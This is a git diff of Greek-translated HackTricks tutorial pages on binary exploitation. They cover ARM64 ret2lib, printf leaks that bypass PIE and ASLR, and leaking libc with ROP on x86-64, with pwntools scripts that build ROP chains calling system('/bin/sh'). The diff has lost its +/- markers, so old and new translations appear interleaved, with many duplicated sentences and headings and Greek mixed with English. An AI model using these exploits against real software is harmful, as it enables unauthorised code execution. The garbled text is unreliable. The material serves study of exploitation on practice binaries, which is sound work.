<figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
Κοιτάζοντας την αποσυναρμολόγηση της κύριας συνάρτησης, βλέπουμε ότι θέλουμε να **κάνουμε άλμα** στην εντολή για να πάμε απευθείας στο **`printf`**, το οποίο έχει μετατόπιση **`0x860`** από το σημείο φόρτωσης του δυαδικού:
<figure><img src="../../../.gitbook/assets/image (1216).png" alt=""><figcaption></figcaption></figure>
### Εύρεση συστήματος και συμβολοσειράς `/bin/sh`
Καθώς η ASLR είναι απενεργοποιημένη, οι διευθύνσεις θα είναι πάντα οι ίδιες:
Ρίχνοντας μια ματιά στη διασπασμένη κύρια συνάρτηση μπορούμε να δούμε ότι θα θέλαμε να **πηδήξουμε** στην εντολή για να πηδήξουμε απευθείας στο **`printf`**, της οποίας η απόσταση από το σημείο που φορτώνεται το δυαδικό είναι **`0x860`**:
<figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure>
### Εύρεση Gadgets
### Βρείτε τη συνάρτηση system και τη συμβολοσειρά `/bin/sh`
Χρειαζόμαστε να έχουμε στο **`x0`** τη διεύθυνση της συμβολοσειράς **`/bin/sh`** και να καλέσουμε το **`system`**.
Καθώς το ASLR είναι απενεργοποιημένο, οι διευθύνσεις θα είναι πάντα οι ίδιες:
<figure><img src="../../../.gitbook/assets/image (1222).png" alt=""><figcaption></figcaption></figure>
### Βρείτε Gadgets
Πρέπει να έχουμε στο **`x0`** τη διεύθυνση της συμβολοσειράς **`/bin/sh`** και να καλέσουμε **`system`**.
Χρησιμοποιώντας το rooper βρέθηκε ένα ενδιαφέρον gadget:
```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
```
### Εκμετάλλευση
Αυτή η συσκευή θα φορτώσει το `x0` από **`$sp + 0x18`** και στη συνέχεια θα φορτώσει τις διευθύνσεις x29 και x30 από το sp και θα πηδήξει στο x30. Έτσι, με αυτή τη συσκευή μπορούμε να **ελέγξουμε το πρώτο επιχείρημα και στη συνέχεια να πηδήξουμε στο σύστημα**.
Αυτό το εργαλείο θα φορτώσει το `x0` από **`$sp + 0x18`** και στη συνέχεια θα φορτώσει τις διευθύνσεις x29 και x30 από το sp και θα μεταβεί στο x30. Έτσι, με αυτό το εργαλείο μπορούμε **να ελέγξουμε το πρώτο όρισμα και στη συνέχεια να μεταβούμε στο σύστημα**.
### Εκμετάλλευση
```python
from pwn import *
from time import sleep
@ -95,7 +96,7 @@ p.sendline(payload)
p.interactive()
p.close()
```
## Ret2lib - Διάβρωση NX, ASLR & PIE με διαρροή printf από τη στοίβα
## Ret2lib - Παράκαμψη NX, ASL & PIE με leaks από το stack μέσω printf
```c
#include <stdio.h>
@ -121,46 +122,46 @@ bof();
}
```
Μεταγλωττίστε **χωρίς canary**:
Συγκεντρώστε **χωρίς καναρίνι**:
```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security
```
### PIE και ASLR αλλά χωρίς canary
* Γύρος 1:
* Διαρροή του PIE από το stack
* Κατάχρηση buffer overflow για επιστροφή στο main
* Διαρροή του PIE από τη στοίβα
* Κατάχρηση bof για να επιστρέψουμε στο main
* Γύρος 2:
* Διαρροή του libc από το stack
* Διαρροή της libc από τη στοίβα
* ROP: ret2system
### Διαρροές Printf
Με την τοποθέτηση ενός σημείου διακοπής πριν από την κλήση της printf είναι δυνατόν να δούμε ότι υπάρχουν διευθύνσεις για επιστροφή στο δυαδικό αρχείο στο stack και επίσης διευθύνσεις libc:
Ρυθμίζοντας ένα breakpoint πριν καλέσουμε το printf, είναι δυνατόν να δούμε ότι υπάρχουν διευθύνσεις για επιστροφή στο δυαδικό στην στοίβα και επίσης διευθύνσεις libc:
<figure><img src="../../../.gitbook/assets/image (1212).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
Δοκιμάζοντας διαφορετικά offsets, το **`%21$p`** μπορεί να διαρρεύσει μια διεύθυνση δυαδικού αρχείου (παράκαμψη PIE) και το **`%25$p`** μπορεί να διαρρεύσει μια διεύθυνση libc:
Δοκιμάζοντας διαφορετικά offsets, το **`%21$p`** μπορεί να διαρρεύσει μια διεύθυνση δυαδικού (bypass PIE) και το **`%25$p`** μπορεί να διαρρεύσει μια διεύθυνση libc:
<figure><img src="../../../.gitbook/assets/image (1220).png" alt="" width="440"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
Αφαιρώντας τη διερροή διεύθυνσης libc από τη βασική διεύθυνση της libc, είναι δυνατόν να δούμε ότι το **offset** της **διαρρεύσεως διεύθυνσης από τη βάση είναι `0x49c40`.**
Αφαιρώντας τη διαρρεύσουσα διεύθυνση libc από τη βασική διεύθυνση της libc, είναι δυνατόν να δούμε ότι το **offset** της **διαρρεύσουσας διεύθυνσης από τη βάση είναι `0x49c40`.**
### x30 offset
### offset x30
Δείτε το προηγούμενο παράδειγμα καθώς το buffer overflow είναι το ίδιο.
Δείτε το προηγούμενο παράδειγμα καθώς το bof είναι το ίδιο.
### Εύρεση Gadgets
### Βρείτε Gadgets
Όπως και στο προηγούμενο παράδειγμα, πρέπει να έχουμε στο **`x0`** τη διεύθυνση του string **`/bin/sh`** και να καλέσουμε το **`system`**.
Όπως στο προηγούμενο παράδειγμα, πρέπει να έχουμε στο **`x0`** τη διεύθυνση της συμβολοσειράς **`/bin/sh`** και να καλέσουμε **`system`**.
Χρησιμοποιώντας το rooper βρέθηκε ένα ενδιαφέρον gadget:
Χρησιμοποιώντας το rooper, βρέθηκε ένα άλλο ενδιαφέρον gadget:
```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
```
### Εκμετάλλευση
Αυτή η συσκευή θα φορτώσει το `x0` από **`$sp + 0x78`** και στη συνέχεια θα φορτώσει τις διευθύνσεις x29 και x30 από το sp και θα πηδήξει στο x30. Έτσι, με αυτή τη συσκευή μπορούμε να **ελέγξουμε το πρώτο επιχείρημα και στη συνέχεια να πηδήξουμε στο system**.
Αυτό το εργαλείο θα φορτώσει το `x0` από το **`$sp + 0x78`** και στη συνέχεια θα φορτώσει τις διευθύνσεις x29 και x30 από το sp και θα μεταβεί στο x30. Έτσι, με αυτό το εργαλείο μπορούμε **να ελέγξουμε το πρώτο όρισμα και στη συνέχεια να μεταβούμε στο σύστημα**.
### Exploit
```python
from pwn import *
from time import sleep
@ -210,16 +211,17 @@ p.sendline(payload)
p.interactive()
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# Διαρροή διεύθυνσης της libc με ROP
# Leaking libc address with ROP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Γρήγορη Περίληψη
## Quick Resume
1. **Βρείτε** την ανακοχή **υπερχείλισης**
2. **Βρείτε** το gadget `POP_RDI`, τα gadgets `PUTS_PLT` και `MAIN`
3. Χρησιμοποιήστε τα προηγούμενα gadgets για να **διαρρεύσετε τη διεύθυνση μνήμης** της puts ή μιας άλλης συνάρτησης της libc και **βρείτε την έκδοση της libc** ([κατεβάστε την](https://libc.blukat.me))
4. Με τη βιβλιοθήκη, **υπολογίστε το ROP και εκμεταλλευτείτε το**
1. **Βρείτε** overflow **offset**
2. **Βρείτε** `POP_RDI` gadget, `PUTS_PLT` και `MAIN` gadgets
3. Χρησιμοποιήστε τα προηγούμενα gadgets για να **διαρρεύσετε τη διεύθυνση μνήμης** του puts ή άλλης libc συνάρτησης και **βρείτε την έκδοση libc** ([κατεβάστε το](https://libc.blukat.me))
4. Με τη βιβλιοθήκη, **υπολογίστε το ROP και εκμεταλλευτείτε το**
## Άλλα εκπαιδευτικά μαθήματα και δυαδικά για εξάσκηση
## Other tutorials and binaries to practice
Αυτό το εκπαιδευτικό μάθημα θα εκμεταλλευτεί τον κώδικα/δυαδικό που προτείνεται σε αυτό το μάθημα: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Άλλα χρήσιμα μαθήματα: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
## Κώδικας
## Code
Όνομα αρχείου: `vuln.c`
Filename: `vuln.c`
```c
#include <stdio.h>
@ -44,17 +45,17 @@ return 0;
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## Πρότυπο διαρροής LIBC με ROP
## ROP - Leaking LIBC template
Κατεβάστε το exploit και τοποθετήστε το στον ίδιο φάκελο με το ευπαθές δυαδικό αρχείο και δώστε τα απαιτούμενα δεδομένα στο σενάριο:
Κατεβάστε το exploit και τοποθετήστε το στον ίδιο φάκελο με το ευάλωτο δυαδικό αρχείο και δώστε τα απαραίτητα δεδομένα στο σενάριο:
{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}
## 1- Εύρεση της μετατόπισης
## 1- Εύρεση του offset
Το πρότυπο χρειάζεται μια μετατόπιση πριν συνεχίσει με την εκμετάλλευση. Αν δεν παρέχεται κάποια, θα εκτελέσει τον απαραίτητο κώδικα για να τη βρει (προεπιλεγμένα `OFFSET = ""`):
Το πρότυπο χρειάζεται ένα offset πριν συνεχίσει με το exploit. Αν παρέχεται κάποιο, θα εκτελέσει τον απαραίτητο κώδικα για να το βρει (κατά προεπιλογή `OFFSET = ""`):
```bash
###################
### Find offset ###
@ -69,21 +70,21 @@ r.sendline(payload)
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Εκτελέστε** `python template.py` θα ανοίξει μια κονσόλα GDB με το πρόγραμμα να καταρρέει. Μέσα σε αυτή τη **κονσόλα GDB** εκτελέστε `x/wx $rsp` για να λάβετε τα **bytes** που θα αντικαταστήσουν το RIP. Τέλος, πάρτε το **offset** χρησιμοποιώντας μια κονσόλα **python**:
**Εκτελέστε** `python template.py` θα ανοίξει μια κονσόλα GDB με το πρόγραμμα να έχει καταρρεύσει. Μέσα σε αυτήν την **κονσόλα GDB** εκτελέστε `x/wx $rsp` για να αποκτήσετε τα **bytes** που θα αντικαθιστούσαν το RIP. Τέλος, αποκτήστε το **offset** χρησιμοποιώντας μια **κονσόλα python**:
```python
from pwn import *
cyclic_find(0x6161616b)
```
![](<../../../../.gitbook/assets/image (1004).png>)
![](<../../../../.gitbook/assets/image (1007).png>)
Αφού βρείτε τη μετατόπιση (σε αυτήν την περίπτωση 40), αλλάξτε τη μεταβλητή OFFSET μέσα στο πρότυπο χρησιμοποιώντας αυτήν την τιμή.\
Αφού βρείτε την απόσταση (σε αυτή την περίπτωση 40) αλλάξτε τη μεταβλητή OFFSET μέσα στο πρότυπο χρησιμοποιώντας αυτή την τιμή.\
`OFFSET = "A" * 40`
Μια άλλη μέθοδος θα ήταν να χρησιμοποιήσετε: `pattern create 1000` -- _εκτέλεση μέχρι το ret_ -- `pattern search $rsp` από το GEF.
Ένας άλλος τρόπος θα ήταν να χρησιμοποιήσετε: `pattern create 1000` -- _εκτελέστε μέχρι το ret_ -- `pattern seach $rsp` από το GEF.
## 2- Εύρεση Gadgets
Τώρα πρέπει να βρούμε ROP gadgets μέσα στο δυαδικό αρχείο. Αυτά τα ROP gadgets θα είναι χρήσιμα για να καλέσουμε τη συνάρτηση `puts` για να βρούμε τη **libc** που χρησιμοποιείται, και αργότερα για να **εκτελέσουμε την τελική εκμετάλλευση**.
Τώρα πρέπει να βρούμε ROP gadgets μέσα στο δυαδικό αρχείο. Αυτά τα ROP gadgets θα είναι χρήσιμα για να καλέσουμε `puts` για να βρούμε τη **libc** που χρησιμοποιείται, και αργότερα για να **εκκινήσουμε την τελική εκμετάλλευση**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -94,15 +95,15 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
Το `PUTS_PLT` χρειάζεται για να καλέσει τη **συνάρτηση puts**.\
Το `MAIN_PLT` χρειάζεται για να καλέσει τη **κύρια συνάρτηση** ξανά μετά από μια αλληλεπίδραση για να **εκμεταλλευτεί** την υπερχείλιση **ξανά** (άπειροι γύροι εκμετάλλευσης). **Χρησιμοποιείται στο τέλος κάθε ROP για να καλέσει το πρόγραμμα ξανά**.\
Το **POP\_RDI** χρειάζεται για να **περάσει** ένα **παράμετρο** στην κληθείσα συνάρτηση.
Ο `PUTS_PLT` είναι απαραίτητος για να καλέσουμε τη **συνάρτηση puts**.\
Ο `MAIN_PLT` είναι απαραίτητος για να καλέσουμε ξανά τη **κύρια συνάρτηση** μετά από μία αλληλεπίδραση για να **εκμεταλλευτούμε** την υπερχείλιση **ξανά** (άπειροι γύροι εκμετάλλευσης). **Χρησιμοποιείται στο τέλος κάθε ROP για να καλέσει ξανά το πρόγραμμα**.\
Ο **POP\_RDI** είναι απαραίτητος για να **περάσουμε** μια **παράμετρο** στη καλούμενη συνάρτηση.
Σε αυτό το στάδιο δεν χρειάζεται να εκτελέσετε τίποτα καθώς τα πάντα θα βρεθούν από το pwntools κατά την εκτέλεση.
Σε αυτό το βήμα δεν χρειάζεται να εκτελέσετε τίποτα καθώς όλα θα βρεθούν από το pwntools κατά την εκτέλεση.
## 3- Εύρεση βιβλιοθήκης libc
Τώρα είναι η ώρα να βρούμε ποια έκδοση της **βιβλιοθήκης libc** χρησιμοποιείται. Για να το κάνουμε αυτό, θα **διαρρεύσουμε** τη **διεύθυνση** στη μνήμη της **συνάρτησης** `puts` και στη συνέχεια θα **ψάξουμε** σε ποια **έκδοση βιβλιοθήκης** βρίσκεται η έκδοση του puts σε αυτή τη διεύθυνση.
Τώρα είναι η ώρα να βρούμε ποια έκδοση της **βιβλιοθήκης libc** χρησιμοποιείται. Για να το κάνουμε αυτό, θα **διαρρεύσουμε** τη **διεύθυνση** στη μνήμη της **συνάρτησης** `puts` και στη συνέχεια θα **αναζητήσουμε** σε ποια **έκδοση βιβλιοθήκης** βρίσκεται η έκδοση του puts σε αυτή τη διεύθυνση.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
@ -135,26 +136,26 @@ p.interactive()
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Αυτό θα στείλει μερικά bytes μέχρι να είναι δυνατή η **αντικατάσταση** του **RIP**: `OFFSET`.\
Στη συνέχεια, θα ορίσει τη **διεύθυνση** του gadget `POP_RDI` ώστε η επόμενη διεύθυνση (`FUNC_GOT`) να αποθηκευτεί στον κατάλογο **RDI**. Αυτό γίνεται επειδή θέλουμε να **καλέσουμε την puts** περνώντας την **διεύθυνση** του `PUTS_GOT` ως τη διεύθυνση στη μνήμη της συνάρτησης puts που αποθηκεύεται στη διεύθυνση που δείχνει το `PUTS_GOT`.\
Στη συνέχεια, θα κληθεί το `PUTS_PLT` (με το `PUTS_GOT` μέσα στον κατάλογο **RDI**) έτσι ώστε η puts να **διαβάσει το περιεχόμενο** μέσα στο `PUTS_GOT` (**η διεύθυνση της συνάρτησης puts στη μνήμη**) και θα το **εκτυπώσει**.\
Τέλος, καλείται ξανά η **κύρια συνάρτηση** ώστε να μπορέσουμε να εκμεταλλευτούμε ξανά την υπερχείλιση.
Αυτό θα στείλει μερικά bytes μέχρι να είναι **δυνατό** το **overwriting** του **RIP**: `OFFSET`.\
Στη συνέχεια, θα ρυθμίσει τη **διεύθυνση** του gadget `POP_RDI` έτσι ώστε η επόμενη διεύθυνση (`FUNC_GOT`) να αποθηκευτεί στο **RDI** registry. Αυτό συμβαίνει επειδή θέλουμε να **καλέσουμε το puts** **περνώντας** του τη **διεύθυνση** του `PUTS_GOT` καθώς η διεύθυνση στη μνήμη της συνάρτησης puts αποθηκεύεται στη διεύθυνση που δείχνει το `PUTS_GOT`.\
Μετά από αυτό, θα κληθεί το `PUTS_PLT` (με το `PUTS_GOT` μέσα στο **RDI**) έτσι ώστε το puts να **διαβάσει το περιεχόμενο** μέσα στο `PUTS_GOT` (**η διεύθυνση της συνάρτησης puts στη μνήμη**) και θα **το εκτυπώσει**.\
Τέλος, **η κύρια συνάρτηση καλείται ξανά** ώστε να μπορέσουμε να εκμεταλλευτούμε την υπερχείλιση ξανά.
Με αυτόν τον τρόπο έχουμε **εξαπατήσει τη συνάρτηση puts** να **εκτυπώσει** τη **διεύθυνση** στη **μνήμη** της συνάρτησης **puts** (που βρίσκεται μέσα στη βιβλιοθήκη **libc**). Τώρα που έχουμε αυτήν τη διεύθυνση μπορούμε να **αναζητήσουμε ποια έκδοση της libc χρησιμοποιείται**.
Με αυτόν τον τρόπο έχουμε **παγιδεύσει τη συνάρτηση puts** να **εκτυπώσει** τη **διεύθυνση** στη **μνήμη** της συνάρτησης **puts** (η οποία είναι μέσα στη βιβλιοθήκη **libc**). Τώρα που έχουμε αυτή τη διεύθυνση, μπορούμε να **ψάξουμε ποια έκδοση libc χρησιμοποιείται**.
![](<../../../../.gitbook/assets/image (1046).png>)
![](<../../../../.gitbook/assets/image (1049).png>)
Καθώς **εκμεταλλευόμαστε** ένα **τοπικό** δυαδικό αρχείο, **δεν είναι απαραίτητο** να βρούμε ποια έκδοση της **libc** χρησιμοποιείται (απλά βρείτε τη βιβλιοθήκη στο `/lib/x86_64-linux-gnu/libc.so.6`).\
Ωστόσο, σε ένα περίπτωση απομακρυσμένης εκμετάλλευσης θα εξηγήσω εδώ πώς μπορείτε να το βρείτε:
Καθώς **εκμεταλλευόμαστε** κάποια **τοπική** δυαδική, **δεν είναι απαραίτητο** να καταλάβουμε ποια έκδοση της **libc** χρησιμοποιείται (απλά βρείτε τη βιβλιοθήκη στο `/lib/x86_64-linux-gnu/libc.so.6`).\
Αλλά, σε περίπτωση απομακρυσμένης εκμετάλλευσης, θα εξηγήσω εδώ πώς μπορείτε να το βρείτε:
### 3.1- Αναζήτηση για έκδοση libc (1)
### 3.1- Αναζητώντας την έκδοση libc (1)
Μπορείτε να αναζητήσετε ποια βιβλιοθήκη χρησιμοποιείται στην ιστοσελίδα: [https://libc.blukat.me/](https://libc.blukat.me)\
Μπορείτε να ψάξετε ποια βιβλιοθήκη χρησιμοποιείται στη σελίδα: [https://libc.blukat.me/](https://libc.blukat.me)\
Θα σας επιτρέψει επίσης να κατεβάσετε την ανακαλυφθείσα έκδοση της **libc**
![](<../../../../.gitbook/assets/image (218).png>)
![](<../../../../.gitbook/assets/image (221).png>)
### 3.2- Αναζήτηση για έκδοση libc (2)
### 3.2- Αναζητώντας την έκδοση libc (2)
Μπορείτε επίσης να κάνετε:
@ -162,19 +163,19 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
* `$ cd libc-database`
* `$ ./get`
Αυτό θα πάρει λίγο χρόνο, είστε υπομονετικοί.\
Αυτό θα πάρει λίγο χρόνο, να είστε υπομονετικοί.\
Για να λειτουργήσει αυτό, χρειαζόμαστε:
* Όνομα συμβόλου Libc: `puts`
* Διευρυμένη διεύθυνση Libc: `0x7ff629878690`
* Όνομα συμβόλου libc: `puts`
* Διεύθυνση libc που έχει διαρρεύσει: `0x7ff629878690`
Μπορούμε να καταλάβουμε ποια **libc** πιθανότατα χρησιμοποιείται.
Μπορούμε να καταλάβουμε ποια **libc** είναι πιο πιθανό να χρησιμοποιείται.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
Λαμβάνουμε 2 αντιστοιχίσεις (θα πρέπει να δοκιμάσετε τη δεύτερη αν η πρώτη δεν λειτουργεί). Κατεβάστε την πρώτη:
Παίρνουμε 2 αντιστοιχίες (θα πρέπει να δοκιμάσετε τη δεύτερη αν η πρώτη δεν λειτουργεί). Κατεβάστε την πρώτη:
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
@ -183,9 +184,9 @@ Getting libc6_2.23-0ubuntu10_amd64
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
Αντιγράψτε το libc από `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` στον τρέχοντα κατάλογο μας.
Αντιγράψτε τη libc από `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` στον κατάλογο εργασίας μας.
### 3.3- Άλλες συναρτήσεις για διαρροή
### 3.3- Άλλες συναρτήσεις για leak
```python
puts
printf
@ -193,25 +194,25 @@ __libc_start_main
read
gets
```
## 4- Εύρεση βασισμένης διεύθυνσης της βιβλιοθήκης libc & εκμετάλλευση
## 4- Εύρεση της διεύθυνσης libc που βασίζεται & εκμετάλλευση
Σε αυτό το σημείο πρέπει να γνωρίζουμε τη βιβλιοθήκη libc που χρησιμοποιείται. Καθώς εκμεταλλευόμαστε ένα τοπικό δυαδικό αρχείο, θα χρησιμοποιήσω απλώς: `/lib/x86_64-linux-gnu/libc.so.6`
Σε αυτό το σημείο θα πρέπει να γνωρίζουμε τη βιβλιοθήκη libc που χρησιμοποιείται. Καθώς εκμεταλλευόμαστε ένα τοπικό δυαδικό αρχείο, θα χρησιμοποιήσω απλώς: `/lib/x86_64-linux-gnu/libc.so.6`
Έτσι, στην αρχή του `template.py` αλλάξτε τη μεταβλητή **libc** σε: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ορίστε τη διαδρομή της βιβλιοθήκης όταν την γνωρίζετε`
Δίνοντας τη **διαδρομή** προς τη **βιβλιοθήκη libc**, το υπόλοιπο του **exploit θα υπολογιστεί αυτόματα**.
Δίνοντας τη **διαδρομή** στη **βιβλιοθήκη libc**, το υπόλοιπο της **εκμετάλλευσης θα υπολογιστεί αυτόματα**.
Μέσα στη συνάρτηση `get_addr` θα υπολογιστεί η **βασική διεύθυνση της βιβλιοθήκης libc**:
Μέσα στη συνάρτηση `get_addr`, η **βάση διεύθυνση της libc** θα υπολογιστεί:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
{% hint style="info" %}
Σημειώστε ότι η **τελική βάση διεύθυνσης της libc πρέπει να τελειώνει σε 00**. Αν αυτό δεν ισχύει στην περίπτωσή σας, ενδέχεται να έχετε διαρρεύσει μια εσφαλμένη βιβλιοθήκη.
Σημειώστε ότι **η τελική διεύθυνση βάσης της libc πρέπει να τελειώνει σε 00**. Αν αυτό δεν ισχύει, μπορεί να έχετε διαρρεύσει μια λανθασμένη βιβλιοθήκη.
{% endhint %}
Στη συνέχεια, η διεύθυνση της συνάρτησης `system` και η **διεύθυνση** του string _"/bin/sh"_ θα υπολογιστούν από τη **βάση της libc** και δεδομένης της **βιβλιοθήκης libc**.
Στη συνέχεια, η διεύθυνση της συνάρτησης `system` και η **διεύθυνση** της συμβολοσειράς _"/bin/sh"_ θα υπολογιστούν από τη **βάση** της **libc** και θα δοθούν στη **βιβλιοθήκη libc.**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -220,7 +221,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
Τέλος, το exploit εκτέλεσης του /bin/sh θα προετοιμαστεί για αποστολή:
Τέλος, η εκμετάλλευση εκτέλεσης /bin/sh θα προετοιμαστεί για αποστολή:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -231,36 +232,36 @@ p.sendline(rop2)
p.interactive() #Interact with the conenction
```
Ας εξηγήσουμε αυτό το τελικό ROP.\
